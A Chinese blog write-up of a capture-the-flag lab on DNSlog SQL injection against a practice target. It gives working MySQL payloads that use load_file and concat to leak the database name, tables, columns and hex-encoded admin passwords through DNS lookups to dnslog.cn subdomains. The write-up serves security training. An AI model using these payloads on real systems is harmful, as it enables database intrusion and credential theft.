封神台 dnslog注入

靶场地址:http://59.63.200.79:8022/cat/?id=1
第一步 注入点寻找
    寻找注入点,初步判断id=1处为注入点
    尝试 试用 and 1=1 返回成功 1=2 报错
第二步 初步测试注入
    找到注入点试用 order by n 查询
![](https://nc0.cdn.zkaq.cn/md/6263/bdf6430495304a773942341564db2105_12336.png)
    发现可以回显的字符是2为 使用 union select 1,2 判断回显位为2
![](https://nc0.cdn.zkaq.cn/md/6263/11c278c318828720ffba5f0ce39b6f7c_65185.png)
        注:由于手工注入需要频繁测试,容易导致ip被管理员给ban掉 所以使用dnslog注入
第三步 dnslog注入
    打开http://dnslog.cn/ get dns地址 确认是否能正常使用(使用ping命令)
    使用load_file(可以读取本地/远程文件)函数进行注入
    payload1(查询数据库名):id=1 and (select load_file(concat('//',(select database()),'.5djib5.dnslog.cn/1.txt'))) 注:其中5djib5.dnslog.cn为获取的dns地址
![](https://nc0.cdn.zkaq.cn/md/6263/fb9aa972050bba377031445b5e809572_50414.png)
![](https://nc0.cdn.zkaq.cn/md/6263/47f47704f52e191d1255f343a85d4d62_78845.png)
    通过payload1查询出数据库名为mashe
    使用payload2(查询表名)id=1 and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.5djib5.dnslog.cn/1.txt')))
![](https://nc0.cdn.zkaq.cn/md/6263/040f0eb390f94a582c49216be77c6156_63409.png)
    使用payload3(查询列名):id=1 and (select load_file(concat('//',(select column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1/2,1/2),'.rmim3o.dnslog.cn/1.txt'))) 注:1/2 替换查询 返回结果不一样
![](https://nc0.cdn.zkaq.cn/md/6263/271e81e63ea4f7c55f3247009fe58cca_76936.png)
    使用payload3(查询字段)id=1 and (select load_file(concat('//',(select hex(password) from admin limit 0,1),'.v1pfwj.dnslog.cn/1.txt')))
![](https://nc0.cdn.zkaq.cn/md/6263/a180e2492aabf9c6c34db1349cbb9235_35523.png)
发现解码出来的password并不是flag 所以继续查询 1,1
    使用payload3(查询字段)id=1 and (select load_file(concat('//',(select hex(password) from admin limit 1,1),'.v1pfwj.dnslog.cn/1.txt')))
![](https://nc0.cdn.zkaq.cn/md/6263/bccdf0893e4e998d59981d2e494f7d6e_86966.png)
![](https://nc0.cdn.zkaq.cn/md/6263/00a3d23b29c1e406aca2ae2bb394550a_42857.png)
提交flag即可

注:其中的dns地址复现时失效了 所以换了好几个地址但是并不影响结果。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值